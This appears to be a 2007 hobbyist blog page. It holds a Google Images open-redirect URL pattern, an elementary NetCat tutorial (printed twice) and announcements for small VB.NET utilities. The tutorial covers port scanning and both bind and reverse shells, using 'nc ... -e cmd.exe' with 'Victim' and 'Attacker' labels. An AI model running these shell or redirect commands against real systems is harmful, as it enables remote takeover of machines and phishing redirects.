Bug Pattern:
http://images.google.com/imgres?imgurl=[Image URL]&imgrefurl=[Redirect to this URL]
Example:
http://images.google.com/imgres?imgurl=http://www.showandtellonline.com/images_splash/korn.jpg&imgrefurl=http://www.msn.com
If you type the URL above in your browser, you see MSN website.
Friday, November 30, 2007
Sunday, November 18, 2007
TToUriHex 1.0.0.0
By this software you can converts URL to EscapeHex (Hashed URL), very easily. (+ LowerChar Converting).
*MS WindowsXP & Vista(All Versions) +.NetFramework 2 .0
Download 94.5KB
Zip=Exe(Portable) + VB.Net Source
*MS WindowsXP & Vista(All Versions) +.NetFramework 2 .0
Download 94.5KB
Zip=Exe(Portable) + VB.Net Source
Wednesday, November 7, 2007
Saturday, October 20, 2007
NetCat Training (Elementary)
*Connecting to Remote Machine (TCP):
nc [Remote Machine IP] [Port Number]
nc 86.0.0.1 80
*Connecting to Remote Machine (UDP):
nc [Remote Machine IP] -u [Port Number]
nc 86.0.0.1 -u 1111
*If you want to see the Details:
Use ' -v ' parameter at end of the command line.
nc 86.0.0.1 80 -v
More Verbose:
nc 86.0.0.1 80 -vv
*Listen Mode (TCP):
nc -l -p [Port Number]
nc -l -p 1234
*Listen Mode (UDP):
nc -l -u -p [Port Number]
nc -l -u -p 1234
*Port Scanning (TCP):
echo [String to Send] | nc -v -w [Time to Wait (Second)] [Remote Machine IP]
[First Port]-[Last Port]
echo QUIT | nc -v -w 3 86.0.0.1 1-10000
*Port Scanning (UDP):
echo [String to Send] | nc -v -w [Time to Wait (Second)] [Remote Machine IP] -u
[First Port]-[Last Port]
echo QUIT | nc -v -w 3 86.0.0.1 -u 1-10000
*Send & Recieve File (1):
File Sending:
nc -l -p [Port Number] -s [Destination Machine IP] < [File Path]
nc -l -p 1234 -s 86.0.0.1 <>
Recieve the File:
nc [File Sending Machine IP] [Port Number] > [File Destination]
nc 87.0.0.1 1234 > E:\Peace (1).jpg
*Send & Recieve File (2):
File Sending:
nc [Destination Machine IP] [Port Number] < [File Path]
nc 86.0.0.1 1111 <>
Recieve the File:
nc -l -p [Port Number] -s [File Sending Machine IP] > [File Destination]
nc -l -p 1111 -s 87.0.0.1 > E:\Peace (1).jpg
*Chatting:
Your Computer:
nc -l -p [Port Number] -s [Remote Machine IP]
nc -l -p 1111 -s 86.0.0.1
Remote Computer:
nc [ Your Computer IP] [Port Number]
nc 87.0.0.1 1111
(Now you can send PM by Console)
*Shell (1):
Victim Computer:
nc -l -p [Port Number] -e [Console Application Path]
nc -l -p 1234 -e cmd.exe
Attacker Computer:
nc [Victim Computer IP] [Port Number(Listen Mode)]
nc 86.0.0.1 1234
(Now you can type your command to execute on victim's computer)
*Shell (2):
Attacker Computer:
nc -l -p [Port Number]
nc -l -p 1234
Victim Computer:
nc [Attacker Computer IP] [Port Number] -e [Console Application Path]
nc 87.0.0.1 1234 -e cmd.exe
(When the victim connects to attacker's computer, attacker can type the code to execute on
victim machine)
*Web Server:
Create a Batch file; like ' WebServer.bat '. Insert line below into the batch file:
nc -l -p 80 -w [Time to wait for Client (Seconds)] < [HomePage File Path]
nc -l -p 80 -w [Time to wait for Client (Seconds)] < [Other files path]
...
Batch FileName.bat
nc -l -p 80 -w 1 < HomePage.htm
nc -l -p 80 -w 1 < BackgroundPicture.jpg
nc -l -p 80 -w 1 < BackgroundMusic.mp3
WebServer.bat
(Now type Server IP in your Web Browser(Except Opera))
Note1: We have 65535 Ports.
Note2: If you use ' -d ' parameter at the end of the command, NC will be contiue running
after closing Console Windows (Background Running).
Note3: ' CMD.exe ' (in MS Windows) & ' /bin/sh ' (in Linux)
Download NetCat 1.11 (31 KB - ConsoleApp .EXE)
nc [Remote Machine IP] [Port Number]
nc 86.0.0.1 80
*Connecting to Remote Machine (UDP):
nc [Remote Machine IP] -u [Port Number]
nc 86.0.0.1 -u 1111
*If you want to see the Details:
Use ' -v ' parameter at end of the command line.
nc 86.0.0.1 80 -v
More Verbose:
nc 86.0.0.1 80 -vv
*Listen Mode (TCP):
nc -l -p [Port Number]
nc -l -p 1234
*Listen Mode (UDP):
nc -l -u -p [Port Number]
nc -l -u -p 1234
*Port Scanning (TCP):
echo [String to Send] | nc -v -w [Time to Wait (Second)] [Remote Machine IP]
[First Port]-[Last Port]
echo QUIT | nc -v -w 3 86.0.0.1 1-10000
*Port Scanning (UDP):
echo [String to Send] | nc -v -w [Time to Wait (Second)] [Remote Machine IP] -u
[First Port]-[Last Port]
echo QUIT | nc -v -w 3 86.0.0.1 -u 1-10000
*Send & Recieve File (1):
File Sending:
nc -l -p [Port Number] -s [Destination Machine IP] < [File Path]
nc -l -p 1234 -s 86.0.0.1 <>
Recieve the File:
nc [File Sending Machine IP] [Port Number] > [File Destination]
nc 87.0.0.1 1234 > E:\Peace (1).jpg
*Send & Recieve File (2):
File Sending:
nc [Destination Machine IP] [Port Number] < [File Path]
nc 86.0.0.1 1111 <>
Recieve the File:
nc -l -p [Port Number] -s [File Sending Machine IP] > [File Destination]
nc -l -p 1111 -s 87.0.0.1 > E:\Peace (1).jpg
*Chatting:
Your Computer:
nc -l -p [Port Number] -s [Remote Machine IP]
nc -l -p 1111 -s 86.0.0.1
Remote Computer:
nc [ Your Computer IP] [Port Number]
nc 87.0.0.1 1111
(Now you can send PM by Console)
*Shell (1):
Victim Computer:
nc -l -p [Port Number] -e [Console Application Path]
nc -l -p 1234 -e cmd.exe
Attacker Computer:
nc [Victim Computer IP] [Port Number(Listen Mode)]
nc 86.0.0.1 1234
(Now you can type your command to execute on victim's computer)
*Shell (2):
Attacker Computer:
nc -l -p [Port Number]
nc -l -p 1234
Victim Computer:
nc [Attacker Computer IP] [Port Number] -e [Console Application Path]
nc 87.0.0.1 1234 -e cmd.exe
(When the victim connects to attacker's computer, attacker can type the code to execute on
victim machine)
*Web Server:
Create a Batch file; like ' WebServer.bat '. Insert line below into the batch file:
nc -l -p 80 -w [Time to wait for Client (Seconds)] < [HomePage File Path]
nc -l -p 80 -w [Time to wait for Client (Seconds)] < [Other files path]
...
Batch FileName.bat
nc -l -p 80 -w 1 < HomePage.htm
nc -l -p 80 -w 1 < BackgroundPicture.jpg
nc -l -p 80 -w 1 < BackgroundMusic.mp3
WebServer.bat
(Now type Server IP in your Web Browser(Except Opera))
Note1: We have 65535 Ports.
Note2: If you use ' -d ' parameter at the end of the command, NC will be contiue running
after closing Console Windows (Background Running).
Note3: ' CMD.exe ' (in MS Windows) & ' /bin/sh ' (in Linux)
Download NetCat 1.11 (31 KB - ConsoleApp .EXE)
Sunday, October 7, 2007
TAlarmClock 2.0.0.0 Beta
A useful Digital Alarm Clock for your computer!
409 KB Download (+ VB.net Source)
ZIP = .EXE & .MSI
Unzip and then install!
409 KB Download (+ VB.net Source)
ZIP = .EXE & .MSI
Unzip and then install!
Sunday, September 16, 2007
TY!IDFinder 1.0.0.3 Beta
YahooIDFinder is an easy-to-use program to find the list of Yahoo!IDs that have been logged in, with Yahoo! Messenger; in the PC.
YahooIDFinder supports Yahoo! Messenger 7.5, 8.0 & 8.1 .
* ID Search
* ID Deleter
* ID List Saver +Report
* Font & Color Settings
* Fast Scanning +Progress Bar
System Requirements:
MS Windows (& Vista) All Version +.NetFramework2.0
500 KB Free space
Download 174KB
Portable Software(.Exe) + VB.net Source
YahooIDFinder supports Yahoo! Messenger 7.5, 8.0 & 8.1 .
* ID Search
* ID Deleter
* ID List Saver +Report
* Font & Color Settings
* Fast Scanning +Progress Bar
System Requirements:
MS Windows (& Vista) All Version +.NetFramework2.0
500 KB Free space
Download 174KB
Portable Software(.Exe) + VB.net Source
TFileDeleter 1.0.0.0 Beta
TFileDeleter is a software(File Shredder) that deletes your selected files for ever, so you can't recover them.
This software has been test on FAT32 and NTFS, but it may works on another File System[Like: ZFS(Apple MAC, Leopard & Tiger), Type 8E(Fedora Core Linux), Linux Ext3(Common Linux FS), FAT16 & FAT12], too.
System Requirements:
*All MS Windows Version(& Vista) +.NET Framework2.0
*Linux +Mono Project
*Apple MAX OS
**500 KB Free space
Download 141KB
Portable Software(.Exe) + VB.net Source
This software has been test on FAT32 and NTFS, but it may works on another File System[Like: ZFS(Apple MAC, Leopard & Tiger), Type 8E(Fedora Core Linux), Linux Ext3(Common Linux FS), FAT16 & FAT12], too.
System Requirements:
*All MS Windows Version(& Vista) +.NET Framework2.0
*Linux +Mono Project
*Apple MAX OS
**500 KB Free space
Download 141KB
Portable Software(.Exe) + VB.net Source
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